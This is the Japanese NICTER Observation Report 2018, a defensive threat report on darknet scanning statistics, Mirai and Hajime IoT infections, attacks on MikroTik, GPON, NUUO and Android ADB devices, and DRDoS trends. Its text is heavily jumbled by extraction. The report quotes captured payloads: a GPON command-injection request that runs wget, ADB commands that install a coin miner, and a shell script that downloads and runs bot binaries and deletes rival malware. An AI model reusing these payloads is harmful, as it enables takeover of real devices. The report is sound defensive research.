NICTER 観測レポート 2018
国⽴研究開発法⼈ 情報通信研究機構
サイバーセキュリティ研究所 サイバーセキュリティ研究室

いった様々な組込み製品に使われています．それら

1. はじめにの Android OS を搭載し，インターネットから接続

本レポートは，NICTER プロジェクト*1 で実施してい可能で脆弱な設定となっている機器が IoT マルウェ

るダークネット観測*2 および各種ハニーポットで捉えた

ア Mirai の亜種に感染する事象が多数観測されまし2018 年のサイバー攻撃の状況についてまとめたものです．

た．本事象について，我々は関係組織と連携を⾏いな

2018 年は 2017 年に引き続き IoT 機器を対象とした攻がら脆弱性報告とインシデント対応を実施しました．
詳細については，3.4 節で説明します．

撃通信が多数観測されましたが，その傾向には変化が⾒られました．具体的には，従来から⽀配的だった 23/TCP(Telnet) 宛ての攻撃通信が減少した反⾯，各 IoT 機器固

2. 2018 年の観測統計

有の脆弱性を狙う攻撃活動が増加していることが明らか

2.1. 年間観測パケット数になりました．本レポートでは，その変化を含めた詳細結

表 1 に NICTER プロジェクトにおける過去 10 年間

果について報告していきます．2018 年の特徴的な観測結の毎年の観測パケット数，ダークネット観測規模 (観測果としては主に以下の 3 つが挙げられます．

IP アドレス数)，観測パケット数を観測 IP アドレス数で• 1 IP アドレスあたりの年間観測パケット数が 2017

正規化した値を⽰します．総観測パケット数は観測 IP ア

年と⽐較して約 1.4 倍の 79 万パケットに達しまし

ドレス数に影響されるため，表の右端の正規化した値がた．ただし，この増加は主に海外組織による調査⽬

その年のスキャン活動の活発さを表していると考えてく的とみられるスキャン活動の増加が原因でした．⼀

ださい．2018 年は 2017 年とほぼ同じ観測規模となる約⽅，IoT 機器を狙った攻撃活動に関しては，23/TCP

30 万アドレスの観測網を使って観測を⾏いました．

(Telnet) を狙う攻撃が半減した反⾯，その他の IoT

1 IP アドレスあたりの年間総観測パケット数に注⽬す

機器固有の脆弱性を狙う攻撃活動が増加した結果，

ると，2017 年の約 56 万パケットを上回る約 79 万パケ

IoT 機器を狙った攻撃活動全体としては 2017 年よットを観測しました．これは，2017 年と⽐べて約 1.4 倍

りも 2 割程度減少しました．本観測結果については，の増加率となっており，依然として増加傾向にあること

2.3 節で説明します．

がわかります．しかしながら，観測パケットを分析した結• IoT 機器への仮想通貨採掘ツールの⼤規模感染が発

果，2016 年から 2017 年にかけての増加は IoT 機器を狙⽣しました．Mirai 等の IoT マルウェアに仮想通貨採掘機能が取り込まれ，感染機器に設置される事象が多数観測されました．詳しくは 3.1 節で説明します．

*1. プ ロ ジ ェ ク ト の 公 式 サ イ ト NICTER WEB (https://www.
nicter.jp/) では，観測データの⼀部をリアルタイムで可視化したり，統• Android OS を搭載した IoT 機器を感染対象とする

計情報として公開している．また，観測した事象に関する調査・分析結果をブログを通じて発信している．

IoT マルウェアが登場しました．スマートフォンの*2. インターネット上で到達可能かつ未使⽤の IP アドレス宛に届くパケットを収集する⼿法．収集した膨⼤なパケットについて，送信元に関する情報や宛先のポート番号，パケットの内容などを分析することで，サイバー攻撃の兆候を発⾒したり，攻撃の傾向等を把握したりできる．

代表的 OS である Android は，現在では TV やセットトップボックス，カーナビゲーションシステムと1

表1: 年間総観測パケット数の統計 (過去 10 年間)
年

年間総観測パケット数

観測 IP アドレス数

1 IP アドレス当たりの年間総観測パケット数

2009

約 35.7 億

約 12 万36,1902010

約 56.5 億

約 12 万50,1282011

約 45.4 億

約 12 万40,65453,0852012

約 77.8 億

約 19 万2013

約 128.8 億

約 21 万63,6552014

約 256.6 億

約 24 万115,3232015

約 545.1 億

約 28 万213,5232016

約 1,281 億

約 30 万469,1042017

約 1,504 億

約 30 万559,1252018

約 2,121 億

約 30 万789,876

う攻撃通信が増加したためでしたが，2017 年から 2018

視できない規模になっていることが判明しました．

年にかけての増加は主に海外組織からの調査⽬的とみら

こうした調査⽬的のスキャンパケットは，マルウェア

れるスキャンの増加が主な原因だと判明しました．我々による感染拡⼤を⽬的としたスキャンパケットとは異なは，攻撃傾向の分析の際にノイズとなるこれら調査⽬的るため，マルウェアの攻撃活動傾向を分析する際にはノのスキャンの影響を排除するために，⼀定の判定ルール

イズとなる情報です．しかしながら，あるスキャンパケッ

を設けて調査⽬的のスキャンの判定と除去を⾏いました．

トが観測された際に，それが研究組織などによる調査⽬

具体的なルールと判定結果については2.2節で説明します．

的のスキャンであるか，それともマルウェアによる感染

⼀⽅，IoT 機器を狙った攻撃活動に関しては，攻撃通拡⼤⽬的のスキャンであるかを，ダークネット観測で厳信の送信元 IP アドレス数のユニーク数 (これ以降，攻撃

密に判断するのは困難です．そこで，今回我々はダークネ

ホスト数と呼ぶ) は 2017 年と概ね同規模で推移していット観測で得た知⾒を基に，以下に⽰す判定ルールを設たことから，2017 年に引き続き多数の感染機器が存在しけ，当該条件を満たす IP アドレスを調査⽬的のスキャンたと推測できます．しかしながら，各攻撃ホストからのを⾏うホストの IP アドレスとみなし，当該 IP アドレス

23/TCP (Telnet) 宛てのスキャンについては (正確な原からのパケットを除外した上で 2.3節の宛先ポート番号別

因は不明ですが) 観測パケット数が半減し，代わりにそのの年間観測パケット数の割合を出すことにしました．



他の各 IoT 機器固有の脆弱性を狙う攻撃通信が増加したある 1 ⽇における 1 つの IP アドレスからのスキャンパ

結果，IoT 機器に関連した攻撃通信全体としては 2017 年

ケット (TCP SYN と UDP のみ) について，

から 2 割程度の減少が⾒られました．

• 宛先ポート番号のユニーク数が 30 以上• 総パケット数が 30 万パケット以上の 2 つの条件を満たす場合，当該 IP アドレスを調査⽬的

2.2. 調査⽬的のスキャンの判定と除外のスキャンを⾏うホストの IP アドレスと判定する．

インターネットに接続された機器の状況を把握する調

査⽬的で広範囲の IP アドレスに対してスキャンを⾏う活

1 つ⽬の条件は，多数の宛先ポートに対してスキャンを

動は，現在，⼤学などの研究組織やセキュリティ関連企業，

⾏っている挙動は調査⽬的のスキャンである可能性が⾼

⾮営利組織など様々な組織が実施しています [1, 2, 3, 4]．

い，という仮定に基づく条件です．実際にマルウェアの感

過去，これらの調査⽬的のスキャン活動は，マルウェア感

染拡⼤を⽬的としたスキャンの場合，宛先ポートの対象

染によるスキャン活動と⽐較して規模が⼩さく，全体傾となるのは基本的に攻撃に利⽤できるサービスのポート

向に⼤きな影響を与えることは無かったのですが，2018

のみです．その数は，我々がこれまでダークネット観測で年に増加した観測パケットを調査した結果，2018 年はこ得た知⾒によると，多いケースでも 10 から 20 ポート程

れら調査⽬的のスキャンが⼤幅に増加し，全体として無度のため，30 ポート以上に対してスキャンを⾏う挙動は，2

図 1 を⾒ると，2018 年に最も多く攻撃通信を観測したのは昨年に引き続き 23/TCP*3 でした．ただし，その全体に対する割合は 21.7% (調査⽬的のスキャン除去後) となっており，2017 年における割合 (38.5%) に⽐べて⼤き
く減少していることが分かります．割合だけでなく実際のスキャンパケット数も 2017 年の約 546 億パケットから 2018 年は約 296 億パケットとおよそ半減しています．
そ の ⼀ ⽅ で，23/TCP 宛 て 以 外 の 攻 撃 通 信 と し て，
2

)

(

2

)

(

1

23/TCP と同様に Telnet に利⽤される 2323/TCP，機器の管理⽤ UI を提供する Web サーバが動作する 80/TCP

図1: 宛先ポート番号別の年間観測パケット数割合

や 81/TCP，8080/TCP，2017 年に Mirai 亜種が感染に利⽤した Realtek SDK の脆弱性に関連した 52869/TCP[5]調査⽬的で広範囲のポート番号に対してスキャンをしてなど IoT 機器を狙った攻撃活動に関連した通信は昨年度いる挙動だと判定することにしました．2 つ⽬の条件は，よりも増加しています．IoT 機器を狙った攻撃活動が徐全体統計に無視できない⼀定の影響を与えるものに限定々にではありますが Telnet や UPnP*4 などの多くの機するためにパケット数の閾値を設けたものになります．

器で汎⽤的に動作するサービスから，特定の機器のみでこれらの条件を 2018 年の観測データに適⽤した結果，動作するサービスやその脆弱性を狙った攻撃へとシフト

1,591 個の IP アドレスが調査⽬的に使⽤されている IP

していることが観測結果から⾒て取れます．

アドレスとして抽出され，それらの IP アドレスからのまた，IoT 機器以外を狙った攻撃通信に⽬を向けると，年間の総パケット数は約 753 億パケットにも及びました．

2017 年に登場したランサムウェア WannaCry に関連す

これは 2018 年に観測された総パケット数の 35% にも及る 445/TCP に対するスキャンが第 2 位を占めました．

ぶ数であり，同じ判定ルールを 2017 年の観測データに適

WannaCry の活動は沈静化することなく，2018 年におい⽤した結果が 6.8% であったことからも，2018 年は調査ても依然として活発だったことが分かります．

⽬的のスキャン活動が 2017 年と⽐較して⾮常に活発に

2.4. IoT マルウェアの特徴を持つ攻撃ホスト数の推移

⾏われていたと考えられます．

ダークネット観測において，各ポート番号・プロトコ

2.3. 宛先ポート別パケット数割合

ル宛の通信が IoT 機器を狙った通信であるかを判断する

図 1 では，1 年間で観測されたすべてのパケット (TCP

際，我々は主に以下のような観点で判断しています．

および UDP) を宛先ポート番号・プロトコル別に集計して，観測パケット数が多かった上位 10 個とその他の割合• IoT マルウェアの攻撃通信に⾒られる特徴があるかを⽰しています．つまりこれらのポート番号・プロトコ• そのポート番号・プロトコルにおいて何かしらのルに対応したサービスが我々の観測で⾒えた 2018 年でIoT 機器に関連する脆弱性が公開されていないか• 攻撃ホストの機器から取得したバナー情報*5 に IoT

主要な攻撃対象となったサービスと⾔えます．

機器の特徴が⾒られるか

図の左側のグラフは，2.2節で判定した調査⽬的に使⽤される IP アドレスからのパケットを含めた場合，図の右

1 つ⽬の IoT マルウェアの攻撃通信に⾒られる特徴と側のグラフはそれらを除いて割合を計算した場合のグラ*3. Telnet プロトコルの通常使⽤するポート番号．Telnet は ID とパスワードを使って遠隔からコンピュータにログインし，操作するために利⽤される．

フです．調査⽬的のスキャンは⾮常に広範囲のポート番号に対してスキャンを実施するため，図1の左側のグラフ*4. Universal Plug and Play の略．ネットワーク上の機器の⾃動検出や機器間の通信を規定したネットワークプロトコルのこと．

では，結果として上位のポートの割合が⼩さくなり攻撃傾向を把握しづらくなっていますが，それらのノイズを*5. 機器⾃⾝が公開しているサービスの種類やバージョンなどを知らせるメッセージ

除いた右側の図ではよりはっきりと傾向がわかります．

3

80
万

18000

Mirai

Hajime
攻撃元IPアドレス数/日（日本国内）

攻撃元IPアドレス数/日

60
50
40
30
20
10
0
2018/1/1

Mirai

Hajime2018/3/1

2018/5/1

16000

70

14000
12000
10000
8000
6000
4000
2000
0

2018/3/1

2018/5/1

2018/7/1

2018/9/1

2018/11/1

2018/1/1

2019/1/1

2018/7/1

2018/9/1

2018/11/1

2019/1/1

図2: ⽇毎の攻撃ホスト数の推移 (Mirai，Hajime)

図3: ⽇毎の攻撃ホスト数の推移 (Mirai，Hajime)(JP)

しては，著名なものでは Mirai やその亜種の攻撃通信

げた，Realtek SDK の脆弱性を悪⽤されて感染したブロの特徴*6 や Hajime の特徴*7 が挙げられます．もちろん，ードバンドルータで，2017 年と同様に，感染したホスト

IoT 機器に感染するマルウェアにはこの 2 種類以外にも，

は 23/TCP および 2323/TCP に対するスキャンを⾏いOkiru[6] や Satori[7] など多数存在しますが，ここではパます．ホスト数が減少した理由として考えられるのは，ユケットの特徴が明確で区別が容易かつ，NICTER プロジーザが機器をアップデートしたり，機種の買い換えなど

ェクトの観測範囲では 1 台の機器が同時感染しているケの対策を⾏ったことや，感染ホストの活動が何らかの理ースが無く独⽴事象として取り扱うことができる Mirai

由で沈静化したことなどが挙げられますが，真相は不明と Hajime の 2 つを取り上げ，それらの特徴持つ攻撃ホです．事実，2019 年に⼊って Mirai の特徴を持つ攻撃ホ

スト数の推移を図 2 (全世界) および図 3 (⽇本国内) に

スト数の増加*8 を観測しており，⽇本国内における Mirai

⽰します．

の感染が収束したと判断するのは早計だと考えられます．

図 2の全体傾向をみると，10 ⽉中旬に Mirai に感染し

3. 2018 年に観測した特徴的な事象

た攻撃ホスト数が 60 万を超えるピークに達し，⼀時的にHajime に感染した攻撃ホスト数を追い抜いたものの，全2018 年は，2017 年に引き続き Mirai やその亜種の感体として Hajime への感染が Mirai の数倍のオーダーで染活動が継続して観測されました．また，攻撃者が直接的多いことがわかります．4 ⽉に⾒られる Hajime に感染に⾦銭を得る⽅法として，感染機器上に仮想通貨の採掘した攻撃ホスト数のピークは，3.1節で述べる MikroTik

プログラムをインストールする事象が多数確認されまし

社のルータの感染が背景にあると考えられます．

た．マルウェアの機能追加は活発に⾏われており，脆弱性

⼀⽅，⽇本国内に⽬を向けると (図 3)，全体傾向とはと当該脆弱性を悪⽤する攻撃コードが⼀般に公開された

異なり，Hajime への感染は⾮常に限定的であることがわずか 1 週間後には，その攻撃コードが Mirai 亜種の新

⾒てとれます．これは Hajime が，⽇本国内ではあまり機能として取り込まれる事例を観測しています．攻撃側

普及していない機器を攻撃対象としていることが理由との動きは迅速であり，脆弱性発⾒時の機器の迅速な脆弱推測されます．Hajime の攻撃対象サービスは IIJ のレ性対策は増々重要になっていると⾔えます．

ポート [8] にまとめられています．また，Mirai に感染

本章では IoT 機器の脆弱性を狙った攻撃のうち 2018

した攻撃ホスト数は 2018 年 1 ⽉上旬には 16,000 ホス
ト存在していたのが，12 ⽉末の時点でおよそ 1,000 ホ*6. SYN パケットの TCP ヘッダのシーケンス番号と宛先 IP アドレ
スの 10 進数が同じ値ストにまで減少しています．これらのホストの⼤部分は*7. SYN パケットの TCP ヘッダの Window サイズが 14600 で固定

2017 年の NICTER 観測レポート [9] の 3.4 節で取り上*8. 2019 年 1 ⽉ 27 ⽇の時点で約 2,200 ホスト

4

ートが空いているという特徴があります．攻撃者はこれらの特徴を使って各機器が当該製品であることを特定し70

万8291/TCP

2000/TCP

た後に，当該機器の 80/TCP で動作する Webfig[13] の攻撃元IPアドレス数/日

6050

脆弱性を悪⽤することで機器を乗っ取ります．悪⽤され

3/25

40

た攻撃コードがインターネット上に公開されたのは 3 ⽉

3/31

12 ⽇で，NICTER で攻撃通信が観測されたのは 3 ⽉ 25

30

⽇です．この 2 週間⾜らずの間に攻撃コードがマルウェ

20

アに取り込まれ，その悪⽤が観測されています．
10

IoT マルウェアは，感染対象の機器の構成上，多くの場

02018/3/1

2018/4/1

合で揮発メモリ領域に感染するため，機器を再起動するこ

2018/5/1とでメモリがクリアされ，⼀時的に駆除することが可能
図4: 攻撃ホスト数の推移（8291/TCP，2000/TCP）

です．しかしながら，我々が実際に MikroTik RouterOSを搭載する機器を使って調査したところ，本攻撃事象においてはマルウェアが機器の不揮発領域に感染するため，年に我々が観測した顕著な事例を紹介していきます．

機器の再起動等を⾏うだけでは駆除できず，ルータの OSを最新版にアップデートしなければマルウェアを駆除で3.1. MikroTik RouterOS の脆弱性を狙った攻撃

きませんでした．

3 ⽉後半に 8291/TCP および 2000/TCP に対する攻我々が確認した限り，執筆時点においても当該脆弱性

撃ホスト数の増加を観測しました．図 4に当該宛先ポートに CVE 番号*9 は割り当てられていませんが，製品ベンダに対する⽇毎の攻撃ホスト数の推移を⽰します．図 4をである MikroTik 社は当該脆弱性を把握しています．ベ

⾒ると，まず 3 ⽉ 25 ⽇付近に短期間で 8291/TCP 宛て

ンダがユーザフォーラムにて公表した情報によると [14]，の攻撃ホスト数が急増し，約 60 万ホストが観測されてい脆弱性は 2017 年 3 ⽉に公開された RouterOS v6.38.5

ることがわかります．本事象について分析を進めた結果，で修正されており，機器の OS を最新版に保つ運⽤をし以下のような特徴が明らかになりました．

ていたユーザは脆弱性の影響を受けなかったと考えられ• 攻撃ホストの国はブラジルが 67% と最も多く，続います．逆に⾔えば，適切にアップデートされていなかったてイラン 5%，ロシアが 2.3%，アメリカが 2.2% とり，ファイアウォールの設定が適切でない機器が数⼗万

特定の国に偏っている．

のオーダーで存在したことを本事象は⽰しています．

• 観測パケットに Hajime の特徴が⾒られる．

3.2. GPON ホームルータを狙った攻撃• アクセスすると MikroTik 社製ルータに特有のポー

5 ⽉ 9 ⽇頃から 80/TCP および 8080/TCP 宛の攻撃

トが空いていたり，ウェブ管理画⾯のログインペー

ホスト数が連動して急増する事象（図5）を確認し，分析

ジが表⽰される．

の結果，以下のことが明らかになりました．

• ウェブ管理画⾯の HTML のソースが書き換えられ，
仮想通貨の採掘を⾏う Coinhive の JavaScript コー• 攻撃ホストはブラジルが 45%，メキシコが 10% で，ドが埋め込まれているホストが存在する．

これら 2 ヶ国で過半数を占めている．

• 観測されるパケットには Hajime の特徴が⾒られ

本攻撃については 360 Netlab が詳細なレポート [10]る*10 ．

を公開していますが，MikroTik 社の RouterOS を搭載• 8080/TCP 宛のペイロード（図6）をハニーポットで取するネットワーク機器には，機器の管理⽤ユーティリ
ティソフト Winbox[11] との通信に使⽤する 8291/TCP
番ポートと，ルータのスループットを計測するための*9. ソフトウェア製品や組込機器など，個別の製品に作り込まれた脆弱性を⼀意に識別するために割り当てられる識別⼦のこと．

Bandwidth Test Server[12] が動作する 2000/TCP 番ポ*10. Hajime 以外のマルウェアによる攻撃活動も報告されている [15]．

5

14
万
80/TCP

8080/TCP

12
攻撃元IPアドレス数/日（8181/TCP）

60
万

攻撃元IPアドレス数/日

50

40

5/9

30

20

10

0
2018/1/1

2018/3/1

2018/5/1

2018/7/1

2018/9/1

2018/11/1

4/24

10
8
6
4
2
0
2018/1/1

2019/1/1

図5: 攻撃ホスト数の推移（80/TCP，8080/TCP）

2018/3/1

2018/5/1

2018/7/1

2018/9/1

2018/11/1

2019/1/1

図7: 攻撃ホスト数の推移（8181/TCP）

POST /GponForm/diag_Form?images/ HTTP/1.1
Host: XXX.XXX.XXX.XXX:8080
Content-Length: 117
User-Agent: python-requests/2.4.3 CPython/2.7.9 Linux/3.16.0-4-amd64
Connection: keep-alive
Accept: / Accept-Encoding: gzip, deflate
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://XXX.XXX.XXX.XXX/gponx

3.3. ネットワークビデオレコーダの脆弱性を狙った攻撃
4 ⽉ 24 ⽇に 8181/TCP 宛通信の攻撃ホスト数が急増
し (図7)，約 13 万ホストを数えました．その後急減し，⼀旦収束したように思われましたが，9 ⽉ 13 ⽇頃から再び

図6: 8080/TCP（GPON）宛ての攻撃ペイロード増加傾向が⾒られ，約 7,000 ホストまで増加しました．本
事象を分析した結果，以下の特徴が明らかになりました．
得し解析したところ，韓国メーカ DASAN Networks• 攻撃ホストはアメリカが 22% と最も多く，韓国 6%，の家庭⽤ GPON[16] ルータを標的とした攻撃であシンガポール 6%，ブラジル 5 % と多数存在する．

• 観測されるパケットには Mirai の特徴が⾒られる．

った．

• 攻 撃 ホ ス ト は 80/TCP や 81/TCP，8443/TCP，

当該ルータに対する攻撃では複数の脆弱性が悪⽤され32764/TCP 宛てにもパケットを送信する．

ました．まず，ルータの管理画⾯を提供する Web サー• 攻撃ホストに繋ぎ返すと，NUUO 社製デジタルビデ

バに存在する脆弱性 (CVE-2018-10561) を悪⽤して認証

オレコーダ (DVR) のログイン画⾯が表⽰される．

を回避し，次に任意のコマンド実⾏を可能にする脆弱性(CVE-2018-10562) を悪⽤して，ルータにマルウェアを

NUUO 社は 2004 年より，監視カメラや映像録画⽤

感染させます．これらの脆弱性がインターネット上に公ソフトウェアを開発ベンダとしてグローバル展開してお開されたのは 5 ⽉ 3 ⽇であり，脆弱性の公開後わずか 1り，同社の製品は世界中で 10 万台以上販売されている週間でマルウェアに取り込まれ，攻撃が観測されました．

とのことです．NUUO 社のデジタルビデオレコーダは本攻撃事象については，製品開発ベンダから当該脆弱性

2017 年にも Mirai とは異なる IoT マルウェアに狙われに関する公式なアドバイザリ情報は公表されていません．

る事例が報告されており [19]，昨年に引き続き攻撃のタ

第三者のセキュリティベンダのレポートによると [17]，当ーゲットとなっています．今回の攻撃では，ビデオレコ

該機器は 9 年前にリリースされたもので，製品のサポーーダで動作する CGI プログラムに存在していた，任意

ト期間は終了しており，公式な修正パッチ等はリリースのプログラム実⾏を可能にする脆弱性 (CVE-2018-1149，

されないと考えられます．このような状況を受け，セキュ

CVE-2018-1150) を悪⽤するもので，脆弱性の実証コー

リティベンダは⾮公式の修正パッチをユーザに提供してドが GitHub 等に公開されています．我々のハニーポッ

います [18]．

トにおいても攻撃ペイロードを確認しています．

6

NUUO 社は 9 ⽉ 19 ⽇に脆弱性の修正パッチを公表しています．本事象では脆弱性を有する機器がビデオレコ20
万18

ーダのため，監視カメラを無効にされたり，監視カメラの映像が流出するといったプライバシー⾯での影響も考え

7/9

攻撃元IPアドレス数/日

16られるため，当該製品のユーザはベンダが公表するアド
バイザリ情報 [20] をもとに直ちに対策することを推奨し
ます．

14
12
10
8
6
4
2

3.4. Android OS 搭載機器を狙った攻撃

2/4

0
2018/1/1

2 ⽉ 4 ⽇から 5555/TCP に対する攻撃ホストを観測し，7 ⽉ 9 ⽇から急増を観測しました（図 8）．本事象を2018/3/1

2018/5/1

2018/7/1

2018/9/1

2018/11/1

2019/1/1

図8: 攻撃ホスト数の推移（5555/TCP）

分析した結果，以下の特徴が明らかになりました．

pm path com.ufo.minersync /data/local/tmp/ufo.apk
pm install /data/local/tmp/ufo.apk
rm -f /data/local/tmp/ufo.apk
am start -n com.ufo.miner/com.example.test.MainActivity
ps | grep trinity
rm -rf /data/local/tmp/*
sync /data/local/tmp
chmod 0755 /data/local/tmp/nohup
chmod 0755 /data/local/tmp/trinity/data/local/tmp/nohup su -c /data/local/tmp/trinity/data/local/tmp/nohup /data/local/tmp/trinity• 5555/TCP 宛の通信はネットワーク経由の ADB(Android Debug Bridge) が有効になっている Android OS 搭載機器を狙ったものであった．
• Shodan[1] で検索すると，⽇本国内ではホストの過半
数をケーブルテレビ向けセットトップボックス*11 とAndroid エミュレータが占めていた．
• 世界では，前述の機器以外にもデジタルサイネージ

図9: 5555/TCP 宛てのペイロード（コインマイナー設置）やドライブレコーダ，カーナビゲーションシステム，

SIM フリーのスマートフォンなど多様な機器が含ま#!/bin/sh
n="i686 arm7 arm6 arm5 x86 x64"
http_server="XXX.XXX.XX.XXX"
cd /data/local/tmp
kill -9 $(pidof 3btrans)#kill botkiller
for i in $ndo
cp /system/bin/sh qzx>qzx
curl http://$http_server/rbot.$i > qzx
chmod 777 qzx./qzx $idone
kill -9 $(pidof trinity) #kill miner bot
kill -9 $(pidof xig)
#kill miner#pm uninstall com.ufo.miner #uninstall miner; thanks fbot
setprop service.adb.root 1 #set root property to 1
setprop ctl.restart adbd
#restart adb server
rm /data/local/tmp/* && rm /data/local/tmp/.* #Remove other malwares
rm $0 #suicide

れていた．

• 2 種類の異なる攻撃活動が観測され，⼀⽅の攻撃活動
では他⽅のマルウェアを感染機器上から削除しようとする（機器のリソースを占有しようとする）活動が⾒られた．
我々が機器の詳細について実機および様々な販売元の協⼒を得ながら調査したところ，これらの機器では⼯場出荷時もしくは OS のインストール時から ADB が不⽤

図10: 5555/TCP 宛てのシェルスクリプト

意に有効になっていたことが明らかになりました．これ
らの機器がグローバル IP アドレスが直接割り振られる
環境で使⽤された結果，攻撃の対象となり，マルウェア感

つかっているため，引き続き関係各所と連携して対応を染が広まったと考えられます．

続けています．

発⾒した脆弱な機器については，協調的な脆弱性公開

前述の通り，本事象において我々は，2 種類の異なる攻の考え⽅に基づき，情報セキュリティ早期警戒パートナ

撃活動を観測しています．1 つ⽬の攻撃では，仮想通貨のーシップ*12 の受付機関である IPA に届出を⾏いました．

*11. ケーブルテレビ等で配信される放送信号をテレビで視聴できる信調整機関である JPCERT/CC が機器の販売/開発元であ号に変換する機能を持つ機器の総称

る事業者と調整を⾏った結果，修正のアップデートが公*12. ソフトウェア製品やウェブアプリケーションの脆弱性情報の円滑な流通と対策の普及を図るため、公的ルールに基づく官⺠の連携体制として整備された制度．

開されていますが [21]，脆弱な機器はその後も新たに⾒

7

全体

5,000

⽇本宛

90,0004,500

80,0004,000

70,0003,500

60,0003,000

50,0002,500

40,0002,000

30,0001,500

20,0001,000

10,000500

02018/02/01

攻撃件数／⽇（⽇本宛）攻撃件数／⽇（全体）100,0000
2018/04/01

2018/06/01

2018/08/01

2018/10/01

2018/12/01

図11: ⽇毎の DRDoS 攻撃件数の推移 (左軸：全体，右軸：⽇本宛)

1 種である Monero のマイニング⽤ Android APK*13 を

我々は，横浜国⽴⼤学吉岡研究室と共同で，DRDoS 攻

攻撃対象の機器にインストールし，マルウェアを実⾏し撃を観測するハニーポットである AmpPot[22, 23] の研ます（図 9）．2 つ⽬の攻撃では，wget コマンドを使って究開発を進めています．本章では，NICTER プロジェク

シェルスクリプトをダウンロードさせ，マルウェアを実トで運⽤中の AmpPot において，以下の期間と台数で観⾏します（図 10）．その上で，対象機器上に 1 つ⽬の攻測した DRDoS 攻撃の状況について報告します．

撃で⽤いられたマルウェアやその他のマルウェアが動作• 観測期間：2018 年 2 ⽉ 1 ⽇〜 12 ⽉ 31 ⽇

している場合にそれらを削除します．こうした攻撃者同• 観測機器：AmpPot 9 台*14

⼠が感染機器のリソースを占有するために互いのマルウ
ェアを削除するような争いはしばしば起こりますが，IoT

4.1. 攻撃件数の推移

マルウェアでも同様の事象が発⽣していることを確認しました．

AmpPot が観測した DRDoS 攻撃の件数の推移 (⽇毎)

本事象については，2019 年 1 ⽉下旬の本レポート執筆

を図11に⽰します．DRDoS 攻撃では⼤量のパケットが時点時点でも攻撃活動を観測しています．スマートフォ

送信されるため，当該攻撃活動をリフレクタの視点からンを含む，Android OS 搭載機器を使⽤しているユーザ観測する AmpPot にも⼤量のパケットを観測します．そは，不⽤意に ADB を有効にしていないか，各機器がグ

こで AmpPot では，攻撃件数や規模を把握しやすいよう

ローバル IP アドレスを持ち外部から直接アクセスできに，同⼀の攻撃対象 (IP アドレス) に対する連続したパる状態になっていないか，⾒覚えのないアプリケーショ

ケットをまとめて 1 件の攻撃として集計しています．こンはインストールされていないか，機器のファームウェ

れ以降で⽰す攻撃件数とはこの集計に基づく件数で，上アは最新版に更新されているか (ファームウェアアップ

記の 9 台の AmpPot の観測結果を合計したものです．

デートは公開されていないか)，などを確認し，脅威の緩上記期間において，AmpPot は累計で約 1,190 万件，

和に務めることが推奨されます．

⼀⽇あたり約 3.5 万件攻撃を観測しました．これは昨年
度の観測規模とほぼ同規模であり，昨年に引き続き，依然

4. DRDoS 攻撃の観測状況として DRDoS 攻撃がインターネット上で頻繁に発⽣していることがわかります．また，AmpPot は累計で約 10

DRDoS 攻 撃 (Distributed Reflection Denial–of–

万件，⼀⽇あたり約 309 件の⽇本宛の DRDoS 攻撃を観Service Attack) と は， イ ン タ ー ネ ッ ト 上 の DNS や
NTP 等のサーバを悪⽤して攻撃対象に⼤量のパケットを*13. Android OS 向けのアプリケーション⽤ファイルフォーマット．

送付し，攻撃対象のネットワーク帯域を圧迫する DDoS

*14. 昨年とは観測環境が⼤きく異なるため，昨年との攻撃件数の厳密な攻撃の⼀種です．

⽐較等は本稿では⾏いません．

8

測しました．AmpPot で観測された攻撃全体に占める割合としては少ないものの，⽇本を対象とした DRDoS 攻撃も継続して発⽣していることがわかります．⽇本の攻撃対象にはクラウドサービスや通販サイト，ゲームサイトと推測されるものも含まれており，攻撃対象が多岐にわたっていました．⽇本宛の攻撃件数が 11 ⽉，12 ⽉ごろにそれぞれ急増した原因は，クラウドサービスの国内リージョンが頻繁に攻撃されたためです．

4.2. 国・地域別の被攻撃件数の割合
国・地域別の被攻撃件数の割合を図12に⽰します*15 ．
全攻撃の約 1/3 がアメリカの IP アドレス宛の攻撃で，2

図12: 国・地域別の被攻撃件数番⽬に多い中国，3 番⽬の⾹港と合わせると全攻撃の半数以上，さらに上位五カ国で全攻撃の約 2/3 を占めており，攻撃を受けている国には偏りがあることがわかります．また，1 位のアメリカと 2 位の中国は 2017 年と変化が無く，特定の国に攻撃が継続している様⼦が観測されました．⽇本は被攻撃件数としては 17 番⽬ (0.9%) に多く攻撃を受けており，昨年度よりも多くの攻撃件数が観測されました．

4.3. 攻撃の継続時間
AmpPot が観測した DRDoS 攻撃の継続時間の分布を
図13に⽰します．図13を⾒ると，2017 年と同じく全体的に短時間の攻撃が多く，約 31 % が 1 分未満，約 79% が10 分未満の攻撃でした．こうした短時間の攻撃活動には，

図13: 攻撃継続時間

DDoS 攻撃代⾏サービスのお試し攻撃やテスト攻撃等の⼤規模な攻撃の事前準備のような活動が⼀定数以上含まれていると考えています．

4 ⽉末からは Ubiquiti Networks の Discovery Protocol

⼀⽅，全体の 3.8 % の攻撃では，1 時間以上の⽐較的(10001/udp) を悪⽤した攻撃も観測され始めている [26]⻑時間にわたる攻撃活動が観測されました．最も継続時など，これまでに悪⽤されていなかったサービスが攻撃

間の⻑かった攻撃事例では，2018 年 6 ⽉〜 7 ⽉の約 40に使⽤されるケースも観測されています．

⽇間にかけて攻撃が観測されており，台湾の IP アドレス

我々は AmpPot の観測結果を基に，被害組織等に対しに対して発⽣した NTP を悪⽤した DRDoS 攻撃でした．

て早期に DRDoS 攻撃の発⽣を通知するアラートシステ

4.4. 攻撃に悪⽤されるサービス

ムを研究開発しており，関連機関との情報共有を始めています．

AmpPot が観測した攻撃のうち，攻撃件数が 1 万件を超えたサービスを表2*16 に⽰します．基本的に DRDoS*15. 国情報の推定には MaxMind 社（https://www.maxmind.com/
ja/home）の GeoIP データベースを使⽤しました．

攻撃に悪⽤される主要なサービスには⼤きな変化はありませんが，2018 年に問題となった memcached[24] を悪*16. 表中の * の付いたサービスは，観測に使⽤した 9 台の AmpPot のうち，2 台のみで観測を⾏っています．

⽤した攻撃は 2018 年 2 ⽉末頃から観測されはじめ [25]，9表2: DRDoS 攻撃に悪⽤されたサービス

謝辞

ポート番号

サービス名

攻撃件数

123/UDPNTP

6,768,637

CLDAP∗には，調査⽬的のスキャンの判定等について貴重なご意

389/UDP

1,897,177

⾒を頂きました．ここに感謝の意を表します．

53/UDP

DNS

1,883,380

19/UDP

CharGen

1,013,728

161/UDP

SNMP

452,443

11211/UDP

Memcached∗

302,228

1900/UDP

SSDP

284,200∗

111/UDPPortmap

1434/UDP∗

10001/UDP

